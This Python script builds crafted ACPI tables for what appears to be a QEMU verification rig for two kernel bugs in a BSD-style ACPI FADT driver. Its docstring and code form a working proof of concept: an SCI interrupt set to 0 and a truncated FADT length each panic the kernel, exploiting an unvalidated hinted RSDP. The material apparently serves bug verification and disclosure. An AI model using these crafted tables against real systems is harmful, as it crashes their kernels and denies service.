#!/usr/bin/env python3
"""
gen_fadt_sci.py -- craft a RSDP->RSDT->[FACP->FACS+DSDT, MADT] chain for the
DF-5583/DF-5584 verification rig (sys/platform/pc64/acpica/acpi_fadt.c).

Injection model (identical to the proven madt/pstate vector,
DF-5430..5433 / DF-5483):
  - guest booted with loader kenv  hint.acpi.0.rsdp=0x40000000
    (sys/platform/pc64/acpica/acpi_sdt.c:71 -- hinted RSDP accepted with NO
    signature and NO checksum validation)
  - QEMU -device loader,file=<blob>,addr=0x40000000,force-raw=on plants the
    chain in guest RAM before firmware handoff.
  - loader.conf additionally sets hw.lapic_timer_enable=0 so the i8254
    (not the LAPIC timer) becomes the interrupt clock: i8254_intr_initclock
    (sys/platform/pc64/isa/clock.c:1295) registers the "clk" handler on
    legacy IRQ0 with INTR_EXCL|INTR_CLOCK at SI_BOOT2_CLOCKREG, i.e. BEFORE
    acpi0 attaches at SI_SUB_CONFIGURE.

Scenarios (same blob builder, only the FADT header/SCI fields differ):

  control  --sci 9  --fadt-len 128 : FADT identical to DF-5483's proven
      clone of the real SeaBIOS/QEMU values (SCI_INT=9).  IRQ9 has no
      handler at SCI-install time, so acpi_sci_test() registers and
      unregisters its dummy handler normally: the system boots to full
      userspace + ssh (rig is benign, stock kernel).

  attack   --sci 0  --fadt-len 128 : SciInterrupt=0 == the legacy IRQ of the
      8254 clock ("clk", INTR_EXCL).  During acpi0 attach,
      AcpiOsInstallInterruptHandler() (OsdInterrupt.c:69) calls
      acpi_sci_config() -> acpi_sci_test():
          sci_desc = register_int(0, ..., INTR_EXCL|...)   -> NULL
                     (kern_intr.c:276 'info->i_flags & INTR_EXCL' -> goto
                      done -> return rec == NULL)
          unregister_int(sci_desc /* NULL */, 0)
                     (kern_intr.c:425 'intr = ((intrec_t)id)->intr;'
                      -> read at NULL+0x28 -> kernel page fault -> panic)
      Expected: "Fatal trap 12: page fault ... fault virtual address = 0x28"
      with unregister_int <- acpi_sci_test <- acpi_sci_config in the trace.

  short    --sci 9  --fadt-len 16  : FADT header advertises Length=16 (<
      sizeof(ACPI_TABLE_HEADER)==36).  sdt_search() maps the 36-byte header,
      matches the FACP signature and returns the address unvalidated;
      fadt_probe() calls sdt_sdth_map() which returns NULL (mapsz<36,
      acpi_sdt.c:147), and acpi_fadt.c:103 KKASSERT(fadt != NULL) panics the
      production kernel instead of skipping the table.  (Sibling of the
      DF-5430 KKASSERT class, distinct instance in this file.)
"""
import argparse
import struct
import sys

BASE     = 0x40000000
RSDP_OFF = 0x0000
RSDT_OFF = 0x0100
FADT_OFF = 0x0200
FACS_OFF = 0x0280
MADT_OFF = 0x0400
DSDT_OFF = 0x1000


def build_madt(ncpu=1):
    """MADT cloned from the guest's real SeaBIOS/QEMU MADT
    (/dev/mem @0xBFFE1BAC) but with only the BSP LAPIC, so the ioapic
    ABI + MSI-X stay available (LAPIC on, its *timer* disabled by the
    hw.lapic_timer_enable=0 loader tunable).  The IntSrcOverrides are
    byte-for-byte the real QEMU ones (0->2 edge/high, 5/9/10/11 0xD)."""
    ent = b''
    for i in range(ncpu):
        ent += struct.pack('<BBBBI', 0, 8, i, i, 1)            # LAPIC
    ent += struct.pack('<BBBBII', 1, 12, 0, 0, 0xFEC00000, 0)  # IOAPIC
    ent += struct.pack('<BBBBIH', 2, 10, 0, 0, 2, 0x0)        # 0 -> gsi2 conf
    ent += struct.pack('<BBBBIH', 2, 10, 0, 5, 5, 0xD)        # 5 -> gsi5
    ent += struct.pack('<BBBBIH', 2, 10, 0, 9, 9, 0xD)        # 9 -> gsi9
    ent += struct.pack('<BBBBIH', 2, 10, 0, 10, 10, 0xD)      # 10 -> gsi10
    ent += struct.pack('<BBBBIH', 2, 10, 0, 11, 11, 0xD)      # 11 -> gsi11
    ent += struct.pack('<BBBHB', 4, 6, 0xFF, 0, 1)            # LAPIC NMI
    madt = sdth(b'APIC', 44 + len(ent), 3) + bytearray(8)
    struct.pack_into('<I', madt, 36, 0xFEE00000)
    struct.pack_into('<I', madt, 40, 1)
    madt += ent
    madt[9] = csum(madt)
    return madt


def csum(b):
    return (-sum(b)) & 0xFF


def sdth(sig, length, rev):
    h = bytearray(36)
    h[0:4] = sig
    struct.pack_into('<I', h, 4, length)
    h[8] = rev
    h[9] = 0
    h[10:16] = b'DFBSD '
    h[17:21] = b'PASS'
    struct.pack_into('<I', h, 21, 1)
    h[25:29] = b'IACT'
    struct.pack_into('<I', h, 29, 1)
    return h


def build(dsdt, sci=9, fadt_len=128, ncpu=1):
    madt = build_madt(ncpu)

    # FACS (64 bytes, everything zeroed)
    facs = bytearray(64)
    facs[0:4] = b'FACS'
    struct.pack_into('<I', facs, 4, 64)

    # FADT rev1 -- PM registers cloned from the guest's real SeaBIOS/QEMU
    # FADT (same values as the proven DF-5483 rig) so AcpiEnableSubsystem()
    # finds working PM1/GPE blocks.  Only SCI_INT and the advertised header
    # Length vary per scenario.
    fadt = sdth(b'FACP', fadt_len, 1)
    fadt += bytearray(128 - 36)
    struct.pack_into('<I', fadt, 36, BASE + FACS_OFF)   # FIRMWARE_CTRL
    struct.pack_into('<I', fadt, 40, BASE + DSDT_OFF)   # DSDT
    fadt[44] = 1                                        # INT_MODEL (QEMU)
    fadt[45] = 0                                        # profile
    struct.pack_into('<H', fadt, 46, sci)               # SCI_INT  <-- payload
    struct.pack_into('<I', fadt, 48, 0xb2)              # SMI_CMD (QEMU)
    fadt[52] = 0xf1                                     # ACPI_ENABLE
    fadt[53] = 0xf0                                     # ACPI_DISABLE
    struct.pack_into('<I', fadt, 56, 0x600)             # PM1a_EVT_BLK
    struct.pack_into('<I', fadt, 64, 0x604)             # PM1a_CNT_BLK
    struct.pack_into('<I', fadt, 76, 0x608)             # PM_TMR_BLK
    struct.pack_into('<I', fadt, 80, 0xafe0)            # GPE0_BLK
    fadt[88] = 4                                        # PM1_EVT_LEN
    fadt[89] = 2                                        # PM1_CNT_LEN
    fadt[91] = 4                                        # PM_TMR_LEN
    fadt[92] = 4                                        # GPE0_BLK_LEN
    struct.pack_into('<I', fadt, 96, 0x0fff)            # P_LVL2_LAT
    struct.pack_into('<I', fadt, 100, 0x0fff)           # P_LVL3_LAT
    fadt[9] = csum(fadt)   # only correct for the len==128 case (fine:
                           # the len==16 case panics before any checksum
                           # validation -- hinted RSDP path validates nothing)

    # RSDT: FACP + APIC (ioapic ABI; loader.conf adds hw.lapic_timer_enable=0
    # so the i8254 -- not the LAPIC timer -- becomes the interrupt clock and
    # registers its INTR_EXCL "clk" handler on legacy IRQ0 at
    # SI_BOOT2_CLOCKREG, before acpi0 attaches)
    rsdt = sdth(b'RSDT', 36 + 8, 1) + bytearray(8)
    struct.pack_into('<I', rsdt, 36, BASE + FADT_OFF)
    struct.pack_into('<I', rsdt, 40, BASE + MADT_OFF)
    rsdt[9] = csum(rsdt)

    # RSDP v1 (20 bytes)
    rsdp = bytearray(20)
    rsdp[0:8] = b'RSD PTR '
    rsdp[8] = 0
    rsdp[9:15] = b'DFBSD '
    rsdp[15] = 0
    struct.pack_into('<I', rsdp, 16, BASE + RSDT_OFF)

    blob = bytearray(DSDT_OFF + len(dsdt))
    blob[RSDP_OFF:RSDP_OFF + 20] = rsdp
    blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt
    blob[FADT_OFF:FADT_OFF + len(fadt)] = fadt
    blob[FACS_OFF:FACS_OFF + len(facs)] = facs
    blob[MADT_OFF:MADT_OFF + len(madt)] = madt
    blob[DSDT_OFF:DSDT_OFF + len(dsdt)] = dsdt
    return bytes(blob)


if __name__ == '__main__':
    ap = argparse.ArgumentParser()
    ap.add_argument('dsdt')
    ap.add_argument('out')
    ap.add_argument('--sci', type=int, default=9,
                    help='FADT SciInterrupt (attack: 0 = 8254 clk IRQ)')
    ap.add_argument('--fadt-len', type=int, default=128,
                    help='advertised FADT header Length (short: 16)')
    ap.add_argument('--ncpu', type=int, default=1,
                    help='LAPIC entries in planted MADT (default 1)')
    a = ap.parse_args()
    with open(a.dsdt, 'rb') as f:
        dsdt = f.read()
    assert dsdt[:4] == b'DSDT', 'not a DSDT'
    blob = build(dsdt, sci=a.sci, fadt_len=a.fadt_len, ncpu=a.ncpu)
    with open(a.out, 'wb') as f:
        f.write(blob)
    sys.stderr.write('blob: %d bytes (DSDT %d, sci=%d, fadt_len=%d)\n'
                     % (len(blob), len(dsdt), a.sci, a.fadt_len))
